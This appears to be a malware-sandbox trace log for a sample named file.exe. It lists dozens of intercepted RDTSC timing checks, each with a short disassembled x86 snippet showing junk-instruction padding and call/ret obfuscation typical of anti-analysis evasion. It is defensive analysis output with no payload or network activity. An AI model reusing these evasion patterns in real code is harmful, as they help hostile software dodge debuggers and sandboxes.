Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7A23 second address: 9A7A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7A27 second address: 9A7A3B instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBCFCCB5996h 0x00000008 jnl 00007FBCFCCB5996h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7A3B second address: 9A7A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7D49 second address: 9A7D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7D4F second address: 9A7D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7F04 second address: 9A7F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA152 second address: 9AA19C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FBCFC6B7947h 0x0000000d push ecx 0x0000000e jl 00007FBCFC6B7936h 0x00000014 pop ecx 0x00000015 popad 0x00000016 nop 0x00000017 push esi 0x00000018 sub dword ptr [ebp+122D18FAh], eax 0x0000001e pop edi 0x0000001f sub dword ptr [ebp+122D2189h], eax 0x00000025 push 00000000h 0x00000027 mov edx, dword ptr [ebp+122D3484h] 0x0000002d push 6FCB66C8h 0x00000032 push eax 0x00000033 push edx 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 pop edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA19C second address: 9AA259 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jne 00007FBCFCCB5996h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xor dword ptr [esp], 6FCB6648h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007FBCFCCB5998h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f jnl 00007FBCFCCB599Ch 0x00000035 push 00000003h 0x00000037 mov cl, bl 0x00000039 jmp 00007FBCFCCB59A3h 0x0000003e push 00000000h 0x00000040 mov ecx, dword ptr [ebp+122D330Ch] 0x00000046 push 00000003h 0x00000048 call 00007FBCFCCB5999h 0x0000004d jmp 00007FBCFCCB599Dh 0x00000052 push eax 0x00000053 jg 00007FBCFCCB59A4h 0x00000059 mov eax, dword ptr [esp+04h] 0x0000005d jng 00007FBCFCCB59A4h 0x00000063 pushad 0x00000064 jns 00007FBCFCCB5996h 0x0000006a jne 00007FBCFCCB5996h 0x00000070 popad 0x00000071 mov eax, dword ptr [eax] 0x00000073 push edi 0x00000074 jc 00007FBCFCCB5998h 0x0000007a push ecx 0x0000007b pop ecx 0x0000007c pop edi 0x0000007d mov dword ptr [esp+04h], eax 0x00000081 jbe 00007FBCFCCB59A4h 0x00000087 push eax 0x00000088 push edx 0x00000089 push eax 0x0000008a push edx 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA259 second address: 9AA25D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA3A2 second address: 9AA3A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA430 second address: 9AA485 instructions: 0x00000000 rdtsc 0x00000002 js 00007FBCFC6B7936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FBCFC6B7938h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov di, AA11h 0x0000002c push 00000000h 0x0000002e cmc 0x0000002f mov ecx, 77D4037Eh 0x00000034 push 0C8596C6h 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FBCFC6B7941h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA485 second address: 9AA48B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA48B second address: 9AA516 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7940h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 0C859646h 0x00000010 or ecx, dword ptr [ebp+122D3334h] 0x00000016 push 00000003h 0x00000018 mov dword ptr [ebp+122D1973h], edx 0x0000001e mov cl, 5Ah 0x00000020 push 00000000h 0x00000022 xor edx, 1389C63Eh 0x00000028 push 00000003h 0x0000002a mov dword ptr [ebp+122D1A08h], edx 0x00000030 push CE640D4Bh 0x00000035 jmp 00007FBCFC6B7946h 0x0000003a xor dword ptr [esp], 0E640D4Bh 0x00000041 add edx, dword ptr [ebp+122D35ACh] 0x00000047 call 00007FBCFC6B7940h 0x0000004c add edx, dword ptr [ebp+122D34A4h] 0x00000052 pop edi 0x00000053 lea ebx, dword ptr [ebp+1245805Ch] 0x00000059 and dx, 60C9h 0x0000005e xchg eax, ebx 0x0000005f push ecx 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C99A3 second address: 9C99E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FBCFCCB5996h 0x0000000a push eax 0x0000000b pop eax 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f jmp 00007FBCFCCB599Fh 0x00000014 jbe 00007FBCFCCB599Ch 0x0000001a jnc 00007FBCFCCB5996h 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FBCFCCB59A3h 0x00000028 pushad 0x00000029 push edi 0x0000002a pop edi 0x0000002b pushad 0x0000002c popad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C99E9 second address: 9C99F7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBCFC6B7938h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9C87 second address: 9C9C91 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBCFCCB5996h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9F33 second address: 9C9F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCFC6B793Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9F44 second address: 9C9F79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBCFCCB59A3h 0x00000010 jmp 00007FBCFCCB59A2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9F79 second address: 9C9F87 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9F87 second address: 9C9FA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FBCFCCB59A5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA10B second address: 9CA120 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B793Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA120 second address: 9CA126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA126 second address: 9CA135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007FBCFC6B7936h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA135 second address: 9CA162 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Ch 0x00000007 jmp 00007FBCFCCB599Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007FBCFCCB5996h 0x00000016 ja 00007FBCFCCB5996h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA162 second address: 9CA168 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA420 second address: 9CA437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FBCFCCB5996h 0x0000000d jmp 00007FBCFCCB599Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA582 second address: 9CA586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA827 second address: 9CA82D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA82D second address: 9CA831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA831 second address: 9CA837 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA837 second address: 9CA84C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FBCFC6B7936h 0x0000000a jmp 00007FBCFC6B793Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA84C second address: 9CA863 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jo 00007FBCFCCB5996h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007FBCFCCB5996h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA9D9 second address: 9CA9E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCFC6B793Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA9E9 second address: 9CA9FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FBCFCCB599Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA9FB second address: 9CAA01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CAA01 second address: 9CAA07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CAA07 second address: 9CAA0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CAA0B second address: 9CAA27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCFCCB599Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FBCFCCB5996h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CACEB second address: 9CACEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB2D1 second address: 9CB2FB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FBCFCCB599Eh 0x00000008 pop esi 0x00000009 jne 00007FBCFCCB599Ch 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007FBCFCCB599Eh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB2FB second address: 9CB301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB301 second address: 9CB318 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB318 second address: 9CB31C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB5DD second address: 9CB5E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB5E3 second address: 9CB5E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB5E8 second address: 9CB5FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FBCFCCB599Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB5FC second address: 9CB61F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FBCFC6B7936h 0x0000000e jmp 00007FBCFC6B7945h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBA3A second address: 9CBA3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D17DB second address: 9D17E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D17E1 second address: 9D17FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBCFCCB59A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0836 second address: 9D083A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990277 second address: 990282 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990282 second address: 99028F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FBCFC6B7936h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99028F second address: 99029F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FBCFCCB599Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99029F second address: 9902A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D67A0 second address: 9D67C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FBCFCCB5996h 0x0000000a jng 00007FBCFCCB5996h 0x00000010 popad 0x00000011 pop edi 0x00000012 push ecx 0x00000013 pushad 0x00000014 jmp 00007FBCFCCB599Bh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6FB8 second address: 9D6FC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FBCFC6B793Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D920F second address: 9D9215 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9469 second address: 9D946F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9EFE second address: 9D9F03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA1D5 second address: 9DA1DA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA39F second address: 9DA3A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB381 second address: 9DB385 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB276 second address: 9DB27B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB27B second address: 9DB29A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FBCFC6B7944h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push esi 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DCFCF second address: 9DCFD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFFE3 second address: 9E0013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FBCFC6B7948h 0x0000000b push esi 0x0000000c pop esi 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 jnl 00007FBCFC6B7936h 0x00000019 push eax 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E066F second address: 9E06C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007FBCFCCB5998h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 push 00000000h 0x00000024 mov esi, edx 0x00000026 mov si, D181h 0x0000002a push 00000000h 0x0000002c mov dword ptr [ebp+122D24B6h], edi 0x00000032 xchg eax, ebx 0x00000033 jmp 00007FBCFCCB59A4h 0x00000038 push eax 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c jo 00007FBCFCCB5996h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DCC7E second address: 9DCC82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E06C6 second address: 9E06CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DCC82 second address: 9DCC9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7946h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DCC9C second address: 9DCCA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E10D5 second address: 9E10EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBCFC6B793Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E6CE second address: 98E6D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E6D2 second address: 98E6DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0E6F second address: 9E0E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E6DE second address: 98E6F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCFC6B7942h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0E7C second address: 9E0E86 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBCFCCB5996h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1931 second address: 9E1936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E6F4 second address: 98E6F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5096 second address: 9E50B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFC6B7946h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E65CF second address: 9E65DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFCCB599Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E65DD second address: 9E65F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B793Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jl 00007FBCFC6B7936h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E65F8 second address: 9E66A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FBCFCCB59A2h 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007FBCFCCB5998h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov ebx, dword ptr [ebp+122D2959h] 0x0000002c mov ebx, dword ptr [ebp+122D345Ch] 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007FBCFCCB5998h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 00000014h 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e mov edi, 34135463h 0x00000053 jmp 00007FBCFCCB599Dh 0x00000058 push 00000000h 0x0000005a jmp 00007FBCFCCB59A6h 0x0000005f movsx edi, di 0x00000062 xchg eax, esi 0x00000063 push eax 0x00000064 push edx 0x00000065 jne 00007FBCFCCB59A7h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E68C5 second address: 9E68CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E87AF second address: 9E87B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
